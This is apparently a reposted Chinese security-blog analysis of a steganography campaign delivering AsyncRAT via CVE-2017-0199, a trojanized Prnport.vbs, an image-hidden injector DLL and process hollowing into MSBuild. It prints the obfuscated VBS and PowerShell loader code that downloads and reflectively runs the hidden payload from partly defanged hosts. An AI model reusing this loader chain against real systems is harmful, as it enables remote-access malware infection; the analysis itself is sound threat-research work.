Stego-Campaign 传播 AsyncRAT

admin 2025年5月27日09:34:00评论41 views字数 4811阅读16分2秒阅读模式

隐写术是指将恶意代码隐藏在看似无害的图像文件中。虽然这种技术在野外并不常见,但发现它总是令人兴奋的,而且它往往能揭示攻击者为传递有效载荷而采取的巧妙手段。

隐写术活动流程

Stego-Campaign 传播 AsyncRAT

初次感染

初始感染通常始于一封钓鱼邮件,其中包含一个旨在利用漏洞的恶意 Microsoft Office 文档CVE-2017–0199。该漏洞允许远程代码执行 (RCE),由Ryan Hanson于 2017 年 4 月首次报告给微软。当受害者打开该文档时,它会触发下载并执行远程脚本(通常是 HTA 文件),而无需任何进一步的交互。

在我们的示例中,HTA 脚本下载了木马副本Prnport.vbs,该副本在执行时将动态构建并执行 PowerShell 脚本以启动下一阶段。

CVE-2017–0199可以在MalwareBazaar上找到利用的样本。

Stego-Campaign 传播 AsyncRAT
Prnport.vbs是大多数 Windows 客户端和服务器版本中都包含的合法脚本。其目的是管理 TCP/IP 打印机端口及其配置。在我们的示例中,恶意代码被插入到 Prnport.vbs 脚本的开头,从而有效地将合法工具木马化。该工具执行后,会将 1-5 顺序的 PowerShell 命令拼凑在一起,然后WScript.exe执行。
Option  Explicit On  Error  Resume  Next ' Crear objeto shell Dim objShell Set objShell = CreateObject( "WScript.Shell" ) ' Dividir el comando en parts Dim cmd1, cmd2, cmd3, cmd4, cmd5, FinalCmd cmd1 = "$payloadURL = 'txt.100/etis[.]soedivtohenilnohctaw//:sptth';$finalPayloadURL = $payloadURL -replace '#', 't';" cmd2 = "$loaderURL = 'hxxps[://]1019[.]filemail[.]com/api/file/get?filekey=ZrKTNo-_DMWgm0oonSr97JAkdr UqbICVeG2LmuclzuON2ZavKqsQg0NqChSLT4A&pk_vid=342803d1cc4e3b801741606974b78eb1';" cmd3 = "$NET = 'N' + 'et'; $WEBCLIENT = 'WebC' + 'lient'; $netWebclientObject = 新对象系统.$NET.$WEBCLIENT;$hiddenLoader = $netWebclientObject.('Downl' + 'oadData')($loaderURL);" cmd4 = "$utf8hiddenLoader = [Text.Encoding]::UTF8.('GetS' + 'tring')($hiddenLoader);$startMarker = '<<BASE64_START>>';$endMarker = '<<BASE64_END>>';$base64start = $utf8hiddenLoader.('Ind' + 'exOf')($startMarker);$base64end = $utf8hiddenLoader.IndexOf($endMarker);" cmd5 = "$base64start -ge 0 -and $base64end -gt $base64start;$base64start += $startMarker.Length;$trimBase64 = $base64end - $base64start;$extractedBase64 = $utf8hiddenLoader.Substring($base64start$trimBase64);$decodedLoader = [Convert]::('FromBas' + 'e64String')($extractedBase64);$loaderReflection = [Reflection.Assembly]::('Lo' + 'ad')($decodedLoader);$executeMethod = [dnlib.IO.Home].('GetM' + 'ethod')('VAI').('Inv' + 'oke')($null, [object[]] @($finalPayloadURL,'','','','MSBuild','','','','','','','','','',''))" ' 连接所有部分FinalCmd = "cmd /c powershell -Command """ & cmd1 & cmd2 & cmd3 & cmd4 & cmd5 & """" ' Ejecutar comando oculto objShell.Run FinalCmd, 0 , True ' Limpiar objeto Set objShell = Nothing

该恶意文件的完整版本Prnport.vbs可在我的GitHub和VirusTotal上找到。

WScript.exe 执行 PowerShell 代码

下面的 PowerShell 代码执行后,受害者将得到一个在看似合法的MSBuild进程下运行的有效载荷(在本例中为 AsyncRAT)。

Stego-Campaign 传播 AsyncRAT
## C2 hosting payload$payloadURL = 'txt.100/etis[.]soedivtohenilnohctaw[//:]spxxh';$finalPayloadURL = $payloadURL -replace '#''t';## Injector.dll hidden in image$injectorURL = 'hxxps[://]1019[.]filemail[.]com/api/file/get?filekey=ZrKTNo-_DMWgm0oonSr97JAkdrUqbICVeG2LmuclzuON2ZavKqsQg0NqChSLT4A&pk_vid=342803d1cc4e3b801741606974b78eb1';## Deobfuscating PowerShell download method$NET = 'N' + 'et'$WEBCLIENT = 'WebC' + 'lient'$netWebclientObject = New-Object System.$NET.$WEBCLIENT;$hiddenInjector = $netWebclientObject.('Downl' + 'oadData')($injectorURL);$utf8hiddenInjector = [Text.Encoding]::UTF8.('GetS' + 'tring')($hiddenInjector);## Base64 markers$startMarker = '<<BASE64_START>>';$endMarker = '<<BASE64_END>>';## Use Base64 markers to extract injector from image, then decode$base64start = $utf8hiddenInjector.('Ind' + 'exOf')($startMarker);$base64end = $utf8hiddenInjector.IndexOf($endMarker);$base64start -ge 0 -and $base64end -gt $base64start;$base64start += $startMarker.Length;$trimBase64 = $base64end - $base64start;$extractedBase64 = $utf8hiddenInjector.Substring($base64start$trimBase64);$decodedInjector = [Convert]::('FromBas' + 'e64String')($extractedBase64);## Use reflection to load the injector$injectorReflection = [Reflection.Assembly]::('Lo' + 'ad')($decodedInjector);## Dynamically retrieve method 'VAI' and pass the payload URL in $finalPayloadURL $executeMethod = [dnlib.IO.Home].('GetM' + 'ethod')('VAI').('Inv' + 'oke')($null, [object[]] @($finalPayloadURL,'','','','MSBuild','','','','','','','','','',''))

从图像中提取注射器

下图展示了受害者打开文件时看到的内容,受害者并不知道其中隐藏着恶意注入器 DLL。

Stego-Campaign 传播 AsyncRAT

如果我们在文本编辑器中打开图像并查找<<BASE64_START>>

这些字母TVq解码为MZ,表示 Windows 可移植可执行文件中 MZ 标头的开始。

Stego-Campaign 传播 AsyncRAT

保存文件后,我们可以在 CFF 资源管理器中检查它以显示它的原始名称:Microsoft.Win32.TaskScheduler。Detect It Easy 还确认这是一个 32 位 DLL 文件。

Stego-Campaign 传播 AsyncRAT

下面我们可以看到PowerShell代码的最后一行是如何执行VAIDLL中的方法的。

1 、检索VAI方法(dnlib.IO > 主页 > VAI)。

2 、VAI使用$finalPayloadURL传递作为第一个参数、字符串"MSBuild"作为第五个参数进行调用。

Stego-Campaign 传播 AsyncRAT

3 、使用指定参数调用该方法后,URL$finalPayloadURL会被反转。然后,将从该反转后的 URL 中检索有效载荷,并将其本身以相反的顺序存储,因此下载后会再次反转。

4 、然后从 Base64 解码有效载荷,并将其与合法的完整路径一起MSBuild传递给Ande负责进程挖空的函数,我们接下来将深入研究该函数。

Stego-Campaign 传播 AsyncRAT

可以看到变量内部的Base64编码数据text,其中前几个字符是TVq。这些字母TVq解码后为MZ,表示Windows可移植可执行文件中MZ头的开始。

对于address变量,它应该包含指向有效载荷的 URL,但我已经自行托管了一个虚拟文件来替换用于分析的有效载荷。

Stego-Campaign 传播 AsyncRAT

您可以在下面看到如何对文件路径的每个部分MSBuild进行反混淆,然后将其拼凑在一起以创建最终的完整路径。

Stego-Campaign 传播 AsyncRAT

当Ande函数执行时,解码后的payload被赋值给data参数,完整的MSBuild路径被传递给path参数。

Stego-Campaign 传播 AsyncRAT

执行被转移到另一个名为的函数,uE000该函数使用 API 组合来生成一个MSBuild处于挂起状态的进程,清空其内存,为有效载荷创建额外的内存,将其写入,然后恢复执行。

这是进程空心攻击 ( T1055.012 )的典型案例,该技术是进程注入 ( T1055 )的一个子技术。它涉及获取合法进程,将其空心化,并注入恶意代码,从而有效地创建原始进程的木马版本。

Stego-Campaign 传播 AsyncRAT

最终有效载荷——AsyncRAT

提取有效载荷后,VirusTotal 将其标记为 AsyncRAT,并向我们提供了包含 C2 IP 地址的配置文件。

AsyncRAT 是一款开源远程访问工具,于 2019 年 1 月首次在 GitHub 上发布。它不仅提供远程桌面访问和键盘记录等标准 RAT 功能,还可以作为部署其他恶意软件(包括勒索软件)的独立加载器。

Stego-Campaign 传播 AsyncRAT

可以看到文件的内容以及数据如何以 Base64 编码并以相反的顺序存储。

Stego-Campaign 传播 AsyncRAT

原文始发于微信公众号(Khan安全团队):Stego-Campaign 传播 AsyncRAT

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月27日09:34:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Stego-Campaign 传播 AsyncRAThttp://cn-sec.com/archives/4002498.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息